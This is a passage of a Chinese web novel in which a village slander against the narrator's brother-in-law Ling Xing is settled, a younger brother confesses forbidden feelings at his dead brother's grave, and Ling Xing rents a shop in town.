沈家人万万没想到还有这前情呢,沈归脸色不太好看,曹满月也皱着眉看向耷拉着眼皮的于大娘。 这老太婆真的是好没品,什么话都敢往外胡诌。 这种要命的是也能瞎编排。 沈呈山身为沈家的一家之主,心知两件事的重要性。 他神色严肃,沉声道:“村长,按着于桂香的意思,谁只要靠近谁一下,那就是搞破鞋。我家四郎带着姐夫和兄弟去谁家收菜,就是和谁有染。” “那这样,为了避嫌,房子我家请别的村来盖,我怕她四处说我家大儿夫郎和别人有什么,毕竟我大儿夫郎勤快,每天干完活还回来帮着打饭。请别的村来,人家村子里不会编排这些。” 祝如山急忙道:“没有的事……” 沈呈山像是没听见,继续说:“菜也不在小柳村收了,省的于桂香再看见我家四郎,满脑子都是他与人有染。” 这下不仅祝如山急,在场的村民们也急了。 他们刚尝到甜头呢,咋能说不收就不收啊! 也知道是于桂香在胡说,他们是被带跑了,赶紧把思绪拉回来,什么都不如他们自己家赚钱要紧。 “于大娘你丧不丧良心?啥话都往外瞎说!” “要死了,人家凌哥儿好心让沈二放开你,你不识好人心就算了,还倒打一耙。” “谁还敢在于桂香跟前啊,她一双眼看到什么都觉得不干净。” “就是啊,人陈翠花家三孩子也都在,收菜也是好几个人去的,院门还是大敞着的。怎么到她于桂香嘴里,就那么不清不楚,不干不净的。” “你家高贵有银子不差钱,我家还想卖菜赚点铜板呢。我告诉你于桂香,沈家真要是不收我家菜了,我躺你家睡去!” “我也是!” 于桂香对村民们的指责充耳不闻,也不怕他们的威胁。 真横起来,谁横的过谁还不一定呢。 反正她恶心了沈二和那寡夫,也恶心了谢青崖和陈翠花,自己心里畅快就成。 叫那沈二敢掐她!叫那寡夫赚那么多银子!叫那谢青崖不卖她豆腐,陈翠花抢她豆腐! 心里虽然这样想着,但于桂香还是有些害怕沈回的。 这人看着沉稳,实则也有些邪性。 不知道是不是常年打猎,身上血性重,真惹急了她怕是要遭殃。 想到这里,于桂香不由自主的朝着祝如山那又挪了几步。 祝如山急的满脑门汗,也没注意于桂香的动作。 他就怕沈家真的因此换人盖房,明年开春也不再收村子里的菜。 没想到按住了难缠的二赖子们,不让他们找事,却在于桂香这里翻了船。 “沈老弟,我和你保证,村子里不会再有类似的闲话。” 沈呈山没想真的彻底和小柳村撇清,不然他们在村子里立不住的。 但也不可能任由于桂香这样编排人啊。 说的还全是毁坏人名声的,这些放在妇人和夫郎身上,不是逼他们去死吗? 沈呈山只道:“村长,这种事乱说,是会要人命的。” 身为村长,祝如山如何不知道。 他再次保证,“我一定会解决好。” 沈呈山颔首,“那等村长解决好,再继续谈收菜的事情。” 沈家这边松口,祝如山也舒一口气,其他村民们提着的心也落回去。 好险,差点要丢掉来之不易的一门收入。 祝如山如何处理的,沈家暂时没问。 有了结果,他自然会去沈家说。 今天的事虽然是于桂香胡诌攀篾,但沈家不得不放在心上防范。 因此一家人根本没多待,全都回家坐在了灶屋。 关上门,外面是村民们在热火朝天的盖房,里面是沈家凝重沉默的气氛。 直到坐下来,凌星才彻底回神。 他怎么也想不到,自己随意拉一下人,就能让人说成是和对方搞破鞋。 他一个大男人拉一下男人怎么了? 不服气的念头一闪而过,最后还是只能低头。 凌星在此时此刻,对哥儿和夫郎这两个身份,有了更深刻的认知。 可怕。 实在是可怕。 “后面出摊子,让小五也跟着去。” 这是徐有芳的第一句话。 凌星想到前面于桂香说的那些,也觉得有沈来在,至少不会叫人胡乱想。 他活的好好的,不想因为这种理由被迫害死。 “嗯嗯,听娘的。” 凌星点头如捣蒜,显然真被吓着了。 徐有芳凝重的神色终于露出一些欣慰的笑意,随后看向沈回,对方脸上看不出什么情绪,只是盯着凌星的一双眼沉的吓人。 看到凌星的反应,沈回收回视线,冷不丁的与他娘对视上。 他沉默片刻。 “好。” 沈归那边徐有芳也交代了,不管家里有没有汉子在,让他们只站在门外收菜。 同样被吓到的沈归和凌星一个反应。 交代完后,徐有芳单独留下了沈回。 灶屋里静悄悄的,徐有芳看着二儿子许久。 “二郎,你去你大哥的坟前。什么时候想通了,什么时候回家睡觉。” 沈回喉咙干涩,沉声道:“知道了娘。” 第65章 第 65 章 “我想不通。” 沈家来小柳村时间不长, 没有祖辈,也就没祖坟。 小柳村其他家有人去世,基本上都是葬在自家地里,距离家里有一段路。 沈还的坟离家并不远, 就在离沈家一里地外的山脚下。 按着沈家二老的说法, 离家近,不孤单。 晚上吃饭的时候, 凌星环顾一周。 “娘, 二郎人去哪了?” 下午从灶屋出来就不见人, 凌星以为是徐有芳单独交代他做什么去了。 徐有芳见沈回这个时辰还没回来,脸色一僵。 “你们先吃, 我出去一趟。” 她的脸色不好, 显然是在压着火气。家里其他人都不敢吭声说什么,只点头说好。 现在天黑的比夏日早,徐有芳手里提着做工粗糙的灯笼, 沉着脸走到沈还的坟前。 昏暗的光线下,徐有芳看见沈回背脊直挺的跪在沈还墓前。 沈回常年狩猎, 五感敏锐,听着脚步声猜到是徐有芳来了。 “你还不回去吃饭?”徐有芳僵硬的问了一声。 沈回依旧跪着,眼眸深沉的盯着墓碑,他声音沙哑。 “娘, 我没想通。” 他想不通。 来到坟前的时候, 他就知道自己永远不可能想通了。 徐有芳嘴唇一抖, 脸色发白, “你说什么?” 沈回道:“我对不起大哥,对不起家里人,也对不起……哥夫。” 他说完后自嘲一笑, 似是放弃抵抗,选择顺从自己的心。 “娘,我跪在这里的每一刻,心里想的都是求大哥原谅我,求他让我能和哥夫在一起。” 周围安静的落针可闻,只有缕缕轻风拂动。 徐有芳却觉得自己身处寒冬,整个人都在发抖,脑袋似乎空了,不知如何反应。 等回神的时候,巴掌已经狠狠的落在沈回的脸上。 她的掌心连着手臂,都震的发麻。 “你疯了吗!那是你哥夫!你大哥的夫郎!沈回,你怎么敢!” 沈回脸被打的偏向一边,嘴角裂开隐有鲜血流出。 他咬紧牙关,腮边绷紧。 “他不喜欢我,我没想过逼迫。” “娘,我已经在很努力的忍耐了。你不能,我也没办法,控制自己看也不看他,一点心思都不存在。” 徐有芳觉得自己要疯了。 “你是不是因为当初替你大哥拜堂,所以想岔了,以为是给你自己娶夫郎?” 沈回摇头。 “是他太好了,我没办法不心动。” “娘,我想他能对我再好点,只对我好。” 啪—— 徐有芳又给了沈回一巴掌。 她冷着脸却已经泪流满面,单手指着墓碑,厉声斥责。 “你在你大哥的坟前说这些,你还有脸吗?” “二郎,以前爹娘精力有限,全都在你大哥身上。而你自幼沉稳,我和你爹因此对你有忽视,是我们不对。” 徐有芳哭的更厉害,声音破了调,“可你大哥没有对不起你什么,你不能这样啊……” 沈回低头,脸上火辣辣的疼,心口也疼。 “我对不起大哥。” 他也恨自己,厌恶自己动不该动的心思。 但他也真的没办法,他什么法子都试了,打过自己无数遍,也尝试着避开躲着。 可没用啊。 一点用都没有。 他只要看凌星一眼,就控制不住的喜欢,想占有。 若非怕伤到人,他都不会如此的忍耐…… 徐有芳只听出沈回的愧疚,忽略了他眼底藏着的疯狂。 她像是抓了根救命稻草,“二郎,女子哥儿多的是,家里现在条件也变好了,娘给你说其他的,全按着你的要求来成不?” 一阵沉默,让徐有芳的心提到嗓子眼,呼吸都轻许多,等着沈回的答案。 沈回抬起头,徐有芳与其对视,瞳孔微缩。 向来沉稳,不用操心的儿子,此时眼中满是疯狂的执拗。 痛苦却又坚决。 “娘,我只要他。” 他是谁,自不必说。 徐有芳跌坐在地,顺势倒在沈还的墓碑前,无声的哭着。 造孽啊。 早知沈回会喜欢上自己哥夫,当初就不应该冲喜。 如今说什么都晚了。 过了不知多久,沈回低声道:“娘,天冷了,你回去吧。” 徐有芳眼泪哭干了,她缓一会后才木着脸站起来,提起早就熄灭的灯笼。 “二郎,你要是真喜欢,就该知道,你的感情会害死他。” “所以,在他没有对你动心之前,在没有离开沈家之前,他就只能是你哥夫。你不准有一丝逾矩,否则,娘死给你看。” 沈回僵硬点头,“我知道。” 儿女都是债,徐有芳了解自己儿子,沈回是不会回头了。 既然如此,不如让他更小心收敛一些。 好在星哥儿对二儿子没那种想法,不然她真不知道要怎么办。 徐有芳走了,她也没说让沈回一起回家。 既然想不通,那就继续想吧。 他有那样见不得人的心思,该在他哥坟前多跪一会。 徐有芳回去只说沈回见沈还生辰要到,去和沈还说说话。 家里人都看得出来不对劲,毕竟徐有芳的脸色真的很难看。 但话这样说了,就是不要再追问,都接受了这个理由。 吃完饭后,沈家人四散开去借住的人家休息。 沈呈山和沈归睡一屋,乌雪和沈回睡灶屋里的小屋子,因此全家只有乌雪知道,沈回一夜未归。 更没人晓得他在沈还的坟前想了什么,求了什么。 翌日一早,沈来跟着沈回和凌星一起去摆摊。 他要去镇上还挺激动的,一路蹦蹦跳跳也不嫌累。 摆好摊子后,绒花那部分就交给沈来看顾,凌星也觉得轻松不少。 连着几天下来,沈小五对出摊子的热情终于减淡。 凌星前面被于桂香的胡言乱语吓了一遭,这几天终于拿自己当成个哥儿,也一直在和沈回“避嫌”。 在外面能不说话就不说话,能不对视就不对视。 就算走路,中间也必须要隔着一个沈来才安心。 连躲了沈回好几天,这天回到家,看到了等候多时的祝村长。 对方这时候过来,只有一个原因。 于桂香的处理结果出来了。 祝村长看到凌星回来,连忙起身相迎。 他知道沈家有现在的光景,有这些生意,都是凌星的主意。 为了村子的发展,他也愿意姿态放低。 而且这事也确实是他的疏忽。 “凌哥儿啊,前些日子叫你凭白受非议了。那于桂香以后不会再嘴无把门的瞎说了。” 凌星静静听着祝村长说明缘由。 那天回去后,祝村长就直接去了于家。 于桂香的夫家也姓于,不过两家没什么亲戚关系,就是赶巧。 村子里人丁再少的,一家也有七八口人。 于家是人丁兴旺多,一大家子二十来口。他家儿子多,娶妻后又生子,人自然多起来。 地种的是多了,花销也多,家里攒不下钱。 因此对干活挣钱这事,家里很看重。 经了解,于桂香对沈家那态度,就是因为拒绝了于家汉子们去盖房。 祝如山当初不选于家,也有于桂香的原因。 之前有不少人家盖房,于家也去人了。于桂香会借着看儿子和老伴的由头跟过去,然后借机顺走主家人的东西。 也不仅是偷这些人家,其他家也一样。只要被于桂香逮住机会进屋子里,那家里肯定要少东西。 于桂香被抓过好几次,也没用。 她咬死了自己捡的,再说就往地上一躺,嚷嚷着哪哪都疼。 多新鲜啊,在人家家里捡东西,亏她说得出口。 时间久了谁敢请于家人去干活? 就算于家的其他人没偷没抢没闹,可他们也没管于桂香啊。 不管放任她做,和帮手有啥区别。 大家躲于家都来不及,更别提会再找于家。 祝如山就是知道这些,第一轮就筛去了所有于家人。 这一家子也有趣的很,在外坏人坏事全都是于桂香干,得了好处一大家子享用。 正因为于桂香这样做能捞到好东西,于家全都像睁眼瞎一样看不见。 反正发现了也骂不着他们,又不是他们做的。 村子里不给活干,也能去村外找。 再说村子里好几年也没一家能盖房。 要不是因为沈家待遇真的好,于桂香和家里其他人压根不在意自己选没选上。 后来知道待遇和说的一样好,自己家去不成,这才眼红嫉妒。 连着帮盖房的村民带着沈家,都被于桂香恨上了。 祝如山那天去于家,就把于家一大家子骂了个狗血淋头,但收效甚微。 于桂香哪能凭一己之力“带坏”于家啊,分明是一大家子全都是“于桂香”。 见于家一副死猪不怕开水烫的样子,祝如山也气的不行。 他说什么也不会让这颗老鼠屎,坏了一锅粥。 眼看到手的好处,怎么可能因为于家就放过。 祝如山直接去找了之前被于桂香偷东西的几家人,带着人上门,直言要一起去报官,就说于桂香偷东西,于家人放任撺掇她偷,全都送牢里去。 这下于家才终于有了反应,他们害怕坐牢,央求着祝如山别报官。 都是报官威胁,祝如山说的就比王隽说的让人害怕,于桂香吓的腿一软瘫地上去。 祝如山隔了一天专门请里正过来做公证,写了保证书,让于家人按手印。 内容包括不限于不准于家人偷东西,不准于桂香再胡乱攀诬他人。 祝如山临走时不忘强调,于家要是犯了里面定的规矩,直接递去衙门。 全家都送去坐牢。 给一家人吓的直发抖,哭嚷着保证肯定不会。 祝如山用四天解决了这事,其实能更快,就是里正忙的很,请他来费了点时间。 整治好于家,他就火急火燎的就赶来沈家。 对于祝村长的处理结果,沈家人和凌星都挺满意的。 至少真的能约束住于桂香那张嘴。 祝村长说完还看了凌星一眼,起初他是请不来里正帮忙解决这样的小事的。 里正能来,说到底还是因为凌星。 他们这边的里正换过,上一个里正因为被查出来,帮着县丞妻弟酒楼的掌柜作恶,被抓起来了。 新里正听妻子传他的话,知道是和凌星有关,这才过来帮一把。 祝村长此时是更加相信凌星能和县令大人说上话了,新里正看着是帮凌星,实际上是看县令的面呢。 于桂香被吓老实了,整个村子都安静不少。 去谢青崖那买豆腐的妇人和夫郎们都在谈论,说住在于桂香家附近的人最近精神头都好了。 可不是得好嘛。 住她家附近的女子哥儿,但凡多看一眼汉子,都能被于桂香指着骂说奸夫**。 现在她不能再这样骂人,大家都松一口气。 谢青崖边切豆腐边哼哼,活该! 又过一月,天越来越冷,沈家的房子已经盖到灶屋。 沈呈山和村长说的话,不知道被谁传出去,盖房子的村民们怕被沈家换了,一个比一个卖力。 房子盖的就又快又好。 因为有沈燕帮忙,徐有芳绒花多卖了不少,上个月赚了十三两银子,加上前面攒的完全足够把房子彻底盖好。 就是家具还需要再攒攒,这些倒也不急,开春了再办也行。 这一个月来,徐有芳几乎没和沈回说话。 家里人都能看得出母子二人有事,可他们不说,也只能当不知道。 凌星在确定于桂香不会再开口胡诌后,也慢慢恢复原来的样子,不会太刻意的避开汉子。 和沈回说话也不再隔着老远,让沈回看他唇语。 但依旧不太敢单独和沈回见面。 至少有人的时候他不敢,怕被误会。 十月十五子时,天黑不隆咚的,村子里安静的很。 凌星辨认了月亮位置,出了谢青崖家院门。 他不敢点灯,手里拎着食盒,借着月光朝着沈家走去。 灶屋全部被推,沈回暂时住在盖好的堂屋,沈归和沈呈山还是和之前一样,住在沈归和曹满月的屋里。 不过现在那屋子也是重新盖过的,比泥屋时候暖和多了,也隔音许多。 沈家前面的篱笆和院门拆了,为了方便弄砖。 凌星熟门熟路的溜到堂屋,屋子没安门,只有个帘子挂着挡风。 乌雪早就听到动静,闻到熟悉的味道,并没有叫唤。 而是坐起来吐舌头摇尾巴,期待着凌星进来摸摸它。 沈回自然也听到了动静。 他看一眼乌雪的反应,又闭上眼睛。 凌星摸着黑蹑手蹑脚的进屋,他观察好多天了,知道沈回睡在哪,闭着眼睛都能摸到。 黑夜里,凌星缓慢挪动,脚碰到遮挡物后,弯腰伸手,轻轻晃了一下沈回的肩膀。 “二郎,醒醒。” 知道是凌星,沈回浑身紧绷,呼吸微滞,睁开眼看向凌星。 黑暗中,并不能看清楚凌星的样子。 但他已经很久没敢这样肆无忌惮的看着凌星。 也许久没有离凌星这样的近过。 他快要熬不住,要疯了。 沈回喉结滚动,“哥夫怎么来了?” 黑夜里,凌星看不见沈回看他时眼中克制的欲望,他嘘了一声,然后打开食盒,往外掏东西。 “十五是你生辰,我怕又被人说什么,所以先来把礼物给你。这样不怕白天会有人看见说闲话。” 他声音压的很低,端出一个陶盘,里面放着做了好久,终于弄成功的蛋糕。 奶油还是托谢青崖帮忙打的,他手上没什么劲弄不起来。 蛋糕胚是用蒸的,舍得放糖和鸡蛋,倒也香甜。 不过和前世的蛋糕肯定没法比的,但自家人吃个味道完全够。 凌星轻声道:“我感觉你最近心情不好,给你做了甜点,吃了要开心哦二郎。” 沈回坐起身,因为眼睛适应了黑暗,凌星靠的又近,现在已经能隐约看见模样了。 他紧紧盯着凌星,借着夜色作掩,不再隐藏自己的情绪。 “生辰快乐啊二郎,今年条件有限,明年给你做个更好的蛋糕。” 沈回鼻尖传来香甜的气息,他的眼中,是笑着的凌星。 视线一寸寸的扫过凌星的脸,听着凌星的话,沈回低声轻笑,多日来的沉闷郁结消散,“我很快乐。” 看着沈回吃完蛋糕,凌星要回谢青崖家去。 沈回不放心,起身送他。 两人顶着月光走在小路上,沈回低头看着地面两道长长的人影,脸上笑意不减。 他的目光很快又落回凌星身上,突然问道:“哥夫唇语还要继续学吗?” 前面借着些空闲时间,凌星跟着学了点基础。 后面因为沈回太忙,就没有继续。 凌星疑惑道:“怎么突然问这个?” 沈回垂眸。 因为他找遍了所有理由,只有这个,能够让他可以让眼前人的视线,再落于他的身上,不再躲避。 只是真实的原因他不能说。 “就是突然想起来,这样放弃有些可惜。” 其实凌星对唇语已经不感兴趣了,虽然觉得很厉害,但前面学的一点点基础东西,已经觉得很难。 可今天又是沈回生日,他提出来又不好拒绝。 凌星纠结一会,“那再学一阵子?” 沈回笑道:“好。” “去打芭蕉叶的时候哥夫跟我一起去,那没人看见,我可以好好教你。” 被带偏的凌星点头,“可以。” 第66章 第 66 章 租铺子 沈家人没来小柳村前, 家里富裕,他们也是家里小辈,会有长辈给他们操持过生辰。 不过不是整岁的生辰,一般就是家里人一起吃一顿饭, 早上额外有碗长寿面。 来到小柳村后, 沈家二老会在几个孩子生辰那日,弄一碗面, 再多也没有。 后面几年, 就只有年纪小的沈来还有身体不好的沈还, 有生辰能吃一碗面的权利。 家里实在是没钱。 今年有钱了,但沈家二老也没想到要给沈回过生辰, 往年都是这样的。 不过徐有芳一大早还是爬起来给沈回煮了一碗长寿面。 里面卧着鸡蛋, 也舍得放猪油,还切了肉丝。 因为在别人家住,做饭吃饭都要回家来, 所以出摊时间比之前晚两刻钟。 留了走路回家的时间。 凌星带着沈来回家洗漱,凌晨的时候出来偷摸给沈回送了蛋糕, 他这会还有些睡眼惺忪。 用粗糙的牙刷沾着牙粉刷牙,刷着刷着人就站着不动了。 仔细一瞧,正打瞌睡呢。 沈来年纪小觉多的很,一大一小并排站, 齐齐打瞌睡。 沈家要吃饭, 搭建了个临时灶屋, 小草棚子能遮雨但不御寒。 徐有芳被冷风一吹, 抖了一下身子,瞥见沈回虎视眈眈的眼神,上去给了他后背一掌。 “眼神收一收。” 眼珠子都恨不得粘星哥儿身上去了, 笑的那不值钱的样子! 这是在她跟前暴露,干脆一点也不遮掩收敛了? 徐有芳越想越气,又给了一巴掌。 沈回不敢反抗,一边低头吃面,一边趁着不注意抬头偷瞄凌星。 只觉得他十分可爱,怎样都可爱,看不够。 沈来和凌星今天也吃了面条,和沈回吃的一样,有蛋有肉。 家里现在有钱,也不差这点吃的。 吃完后三人收拾好去镇上,凌星的摊子刚支上,就有食客来排队。 汤包摊子收入稳定,已经步入正轨。 若是就这样一直干下去也不是不行。 不过天热还好,天冷或是下雨下雪,摊子是真不如有铺子好。 而且凌星想供凌月把书读出来。 科举艰难,钱财消耗是一笔无法预估的大数字。光靠一个摊子生意,是没办法支持凌月走太远的。 凌星自己也想做大一点,让以后的生活有足够保障,可以轻松一些。 他还想在镇上买房子。 刚来的时候不敢想,现在感觉积攒一些时日,房子是能买的。 不用太大,够两人住就行。 凌月迟早要和沈家分开,他到时候也会跟着凌月出来。 不是沈家不好,而是上次于桂香的事,让凌星心里有些担忧。 他在沈家身份确实有些尴尬。 分开的话,也少许多的说嘴。镇上的人,比村子里的人要好很多。 来这里这么久,他已经把沈家人当成亲人。 这事到时候要好好的商量才行,他并不想和沈家人生份。 想到铺子,凌星今日收摊之后就要去牙行看看。 他打算在十二月前定下,年前装修好,年后可以直接择吉日开张。 农闲时牙行里等着招工干活的人比平时要多许多。 凌星三人进去的时候,看朴素的穿着,都以为来找活干的。 伙计这些天尽应付来找活干的人了,他抬眼瞥一眼就又低下头懒洋洋道:“找工的话报个名字,说说能干些什么。” 凌星知对方误会,解释道:“我不是来找活干的,是想租铺子。” 租铺子? 伙计咻的一下站直,两眼放光的打量凌星。 虽说不是穿着绫罗绸缎,不过精气神确实不是穷苦像。 他立即开始招呼,“哟,租铺子来这算是来对了地方。敢问阁下是汉子还是哥儿?” 瞧着看不出喉结,面无胡须胡茬,是符合哥儿的外在特征。但为避免弄错,还是谨慎点多问一句。 凌星回了句是哥儿,又说了自己的名字。 伙计点头应下,精神十足,“我叫林三树。” 他看得出三人里凌星是话事人,也就没和沈回沈来兄弟两说什么。 只问凌星对铺子有什么要求。 凌星早就想好要什么样的铺子。 因为是做吃食,想要带水井的。 加上水井的话,租金就会比没水井的高。 酒香也怕巷子深,铺子就算不在闹市,也不能太偏。 凌星是想最好在糖坊街或者周围的街道,这样还能做老顾客的生意。 那边的铺子价格,比起大街闹市也确实不贵。 这样一来,就算加上水井,价格也能控制在他接受的范围内。 因为凌星要求说的详细,林三树在脑子里搜寻一番,有了三个地方。 他问道:“凌哥儿是想今天就去看看铺子,还是改日?” “今日就去看看吧。” 铺子都在镇上,距离也不算远,是走着去的。 最符合凌星要求的一家,就在糖坊街边上的春雨街。 林三树人虽精瘦,眼神却亮堂,口齿伶俐。 到第一家铺子门口,他拿起手里的一大串钥匙,摸了半圈选中一把,捣鼓着开锁。 “这铺子之前是做首饰生意的,被家里的少爷赌了出去,对方不想做生意,就拿出来租了。” 三人跟着林三树进铺子,不愧是做首饰铺子的,里面空间大,还亮堂。窗户上糊的都是好纸,比起别的纸更透光还保暖。 林三树继续介绍,“这铺子没井,不过三十米外有个井,是周围商铺一起用的。离这近的很,不耽误功夫。” 这间铺子是真不错,门窗上还有雕花呢,外面人流也高。 挑不出错的铺子,那就只有一个缺点。 贵。 不出凌星所料,这铺子一个月就要六两银子做租金,林三树说如果诚心要,他能想办法谈到五两。 凌星嘴角一抽,他是诚心想要啊,可他的荷包不允许。 “看看另一家吧。” 林三树也没恼,乐呵的应下,锁门带人去下一个铺子。 第二家铺子在麻油街,王有麦在这条街巷子里摆摊卖面条和饺子馄饨。 这些日子来,凌星和他也有联系。 偶尔还会见面。 王有麦会送些东西过来给凌星,都不是什么多值钱的,大部分是他妻子做的吃食。 味道还可以,贵在用心用料扎实。 凌星也没推脱,都会收下,带回去和家里一起吃。 同时会给王有麦回一些东西,不涉及金钱,都是人情往来。 饺子和馄饨没什么技术含量,吃过的琢磨一下就能弄出来。 现在镇上卖饺子馄饨的摊子还挺多的,不过王有麦的生意最好。 他用凌星给的方子,熬骨汤,馅料也舍得用调料,口味是没得说。 这个地方能出来吃饭的,本就是为了满足口腹之欲,大部分还是会选择口味更好的。 也有少部分就想解个馋,味道差不多便宜就行。 不管怎样,反正王有麦生意没受什么影响。 他就一个人,再怎么赚,最多也就那么多。 到麻油街的时候,路口就有个卖饺子馄饨的摊子,凌星看了一眼,感觉还不错。 一张小桌子已经坐满了人,食客们在埋头苦吃。锅里热气蒸腾,里面白胖胖的饺子上下翻滚。 铺子就在这摊子的五十米外。 麻油街街如其名,空气中都隐约飘着一股麻油香味。 这边有压榨芝麻油的工坊,古法榨油,香味溢散,凌星闻着也馋得很。 加上刚刚看到饺子,很想买些香喷喷的芝麻油,用饺子蘸着吃。 被自己的想象香到,他忍不住的吞咽一下口水。决定了,今年过年包饺子,蘸芝麻油。 第二家铺子之前是开小饭馆,后院有井,各方面都挺符合凌星的要求。 租金也还好,一个月三两银子,两年起租。 凌星看了一圈,心里比较满意。不过想着还有一家,准备全看完了再说。 林三树知道凌星还想第三家,面露犹豫。 见凌星看过来,他立即收敛神色,怕被误会是不想跑这一趟。 “那个铺子吧,它有点不一样。但又确实都符合要求,我才说了出来。” 林三树也不再卖关子,直接道:“铺子之前死过人,大家都觉得不吉利,一直没租卖出去。” 凌星有些惊讶,“为什么死的?” 沈回和沈来的视线也看了过来,显然是好奇。 林三树带着人往外走,一边锁门一边说:“也是个小饭馆,是一对小夫妻经营,生意本来挺好的。前年他们五岁的儿子在饭馆里面吃饭,突然被卡了嗓子。” “怎么都抠不出来,也咽不下去。小夫妻发现儿子不对劲的时候,孩子脸都紫红紫红,都没来得及送去看大夫,就活活卡死了。” 说着林三树唏嘘道:“估摸着是不想触景生情吧,坚持大半年实在坚持不下去,夫妻二人把铺子挂在牙行租卖,人离开了云霞镇,去了月湾镇。” 禹朝信鬼神风水,做生意的人更信。 死过人的铺子没人想租或是想买,加上也不是什么极好的地段,上好的铺子,因此一直无人问津。 铺子就在糖坊街另一边的隔壁,糖水街。 街名是跟着糖坊街起的,这条街卖糖水的确实也多。 不仅是卖糖水的多,卖吃食的铺子也不少。 蜜饯,糕点,饭馆,各种吃食摊子,完全可以说是吃货一条街。 铺子在街中间地段,位置不好不坏。 走在糖水街,这铺子突出的很。 毕竟所有铺面,就只有这一个大门紧闭,甚至有一种萧条感。 林三树又摸出他那一大串的钥匙,转几下后,选中钥匙开门。 吱呀一声,门被推开,空气中传来灰尘味。 四人捂着鼻子跨过门槛,进铺子里。 周围商铺的人,看见常年大门紧闭的铺子来人,也好奇的伸头出来看。 他们是真有些吃惊,这还是铺子挂牙行后,第一次见有人来看铺子。 也不知道是哪个脑子不清醒的。 铺子里面空间还算大,凌星估摸着有七八十平,做小吃店这个面积是绰绰有余的。 既然来了,林三树也开始介绍铺子情况,“铺子除了门面,还有后院。有井、仓库、还有能另外住人的小屋。” 凌星听说还有后院,眼前一亮,想要去看。 林三树在前面引路。 院子里的井周围还有围栏,凌星想到林三树说的孩子,应该是那对小夫妻专门拦起来,怕孩子摔进去的。 不仅有围栏挡着,井上面还盖着石板。 瞧着石板上的灰,已经好久没动过了。 凌星轻叹一声,又去看仓库。 说是仓库,就是一个二十平左右,四处漏风的小木屋。 那屋顶还破了洞,仓库地面坑坑洼洼,有一股子难闻的味道,木头发霉腐朽味比较重。 应该是屋顶长久未修,漏雨泡的。 能住人的房子比漏雨透风的仓库要好一点,是泥砖盖的,顶上有茅草。 也破旧的很,推门的时候,扬起的灰尘肉眼可见,给四人呛不轻。 后院用泥砖砌了墙的,安全性还是有,不过不多。 好在镇上夜晚的时候有小吏巡街,多少也算有保障。 后院的面积比前面铺子大一些,泥屋和前面铺子有一道不规则的石板路连着。 中间分出去两道,一道通向水井,一道通向仓库。 下雨天的时候,不怕脚上都是泥泞。 凌星能感觉到,前面的店主,是在用心的对待铺子。 只可惜,造化弄人。 林三树尽责的说铺子信息,“这铺子最开始的时候店家是要卖的,后来实在没人买,就说也能租。不过租金的话,是三年起租。但月租便宜,只要二两。” “还是那句话,要是诚心想要,我就再去把租金往下谈谈。” 比起前面两家,二两的月租,是真的便宜。 而且这铺子的后院让凌星很心动,离糖坊街也特别近,那么摊子上的老顾客就不会流失。 后院的仓库和泥屋好好修整的话,甚至可以住在这里。 阴天下雨不好走,也不怕没地方睡觉。 凌星到底是现代人穿越,敬畏鬼神和风水,却并不迷信。 其他人对铺子避之不及的原因,在他看来不算什么。 心里的天平开始倾斜,凌星看那漏雨仓库,都觉得“眉清目秀”。 凌星犹豫一会后问道:“买的话多少银子?” 林三树站直了身体,两眼放光,“不贵,一百八十两,还可以再谈!” 听到价格,凌星死心了。 他每个月有二十四两左右的收入,其中要分出十两给凌月吃药,一两银子兄弟两花用。 目前手里能用的有五十三两。 铺子三年起租,需要七十二两,他租都还差着钱呢。 沈回一直在注意着凌星,看出凌星对这间铺子更满意,低头轻声道:“哥夫不必担忧银子,我这里有。” 凌星的心一下子就定了。 他也不和沈回瞎客气,后面有了银子再还给他。 得知凌星还是租,林三树也没多失望,不管是租是买,这个砸在手里许久的铺子,都是成功出手了。 他保证道:“我即刻动身去月湾镇,想办法把租金谈下来些。” 凌星笑着点头,“麻烦了。” 铺子比想象中定的快,凌星的计划需要提前。 用一个月修整,这样的话,年前铺子就能开业。 第67章 第 67 章 “你一直在看我。”…… 凌星租铺子的事, 回家就和沈家人说了。 之前他就说过年前想在镇上租铺子,年后能开张。 光摆摊子,生意没办法做起来。 沈家人早就知道凌星的打算,就是没想到会这样快。 凌星自己也没想到, 也是赶巧, 正好遇见这铺子。 第二天摆完摊子去牙行,林三树已经在等着。 他昨天就去月湾镇, 找到店铺的主家, 把契书签好。 今天就等着凌星看完没问题, 签名画押后,交易就成了。 “按着月租二两, 一次交三年是要七十二两银子。我和人谈了, 说能去个零头,就七十两。” 林三树也是磨了些功夫,把这二两银子磨下去了。 再低他也没办法, 那地段和铺面大小,月租二两已经是顶便宜。 要不是做生意的嫌晦气, 不可能是这个价。 凌星对价格挺满意,看了一遍契书,没发现问题,就签字画押。 和林三树说好了明天给银子交钥匙, 便带着他那份的契书和沈回, 沈来回家去。 家里盖房子请的人多, 干的还卖力。 这些日子下来, 房子盖的差不多了,比计划的时间要快许多。 凌星观察过,给家里盖房子的都是好手, 人也都是本分老实的。 镇上铺子的活,他准备从家里盖房子的人里挑几个。 铺子也就后院需要动土,仓库和住的屋子要好好弄。 但到底是租的,也不会推了重盖,顶多就是仓库花费点功夫,烂木头拆了替换上好的,住的泥屋子房顶修缮一番。 后面要是能买下来,再想着要不要推倒重新盖。 凌星问沈回借了四十两,写了欠条。 沈回把欠条随手一揣,不是很在意。 他倒是想光明正大的上交自己所有的银子,可惜没办法。 加上沈回的银子,凌星手里一共九十三两。 七十两用来租铺子,剩下的二十三两全部用来打铁锅。 一个双耳铁锅,能放在大灶台上,做辣椒油,炸油条的话能用。 一个平底铁锅,准备做些煎类的小吃,比如锅贴,生煎包,水煎包…… 后面一天到晚都在铺子里,有的是时间多做些不同种类的吃食。 第二天交完钱,拿了铺子钥匙,沈呈山已经替凌星挑了五人,帮他修整铺子。 王柱生父子二人就在里面。 去镇上干也包吃,不过吃的不好,实在也是镇上没地方做饭。 都是杂面窝窝配咸菜,但管饱。 一天的工钱是六十文,不是日结,是干完了再给。 凌星手里钱全花干净了,还有半个月才分账。他又不想再问沈回借,就想着活干完了再给。 反正他也跑不了。 从小柳村赶来镇上要时间费体力,又不是日结,吃的也不好,凌星的价格就给的高一些。 要来的人还不少,六十文比二十文可多多了。 吃不好但也能吃饱。 而且吃的咸菜比他们自己家弄的好吃不知多少倍,在村民们看来,一点都没吃不好。 王柱生五人在其他村民羡慕的目光下去了镇上,这边的活比盖房子也轻不少。 一切安排好,凌星就等着铺子修整好后开张。 …… 山间芭蕉叶处。 地上铺着芭蕉叶,凌星坐在上面,和沈回面对面。 不远处,沈来带着乌雪玩的一脑门子汗。 凌星以防万一,把沈来带了上来。 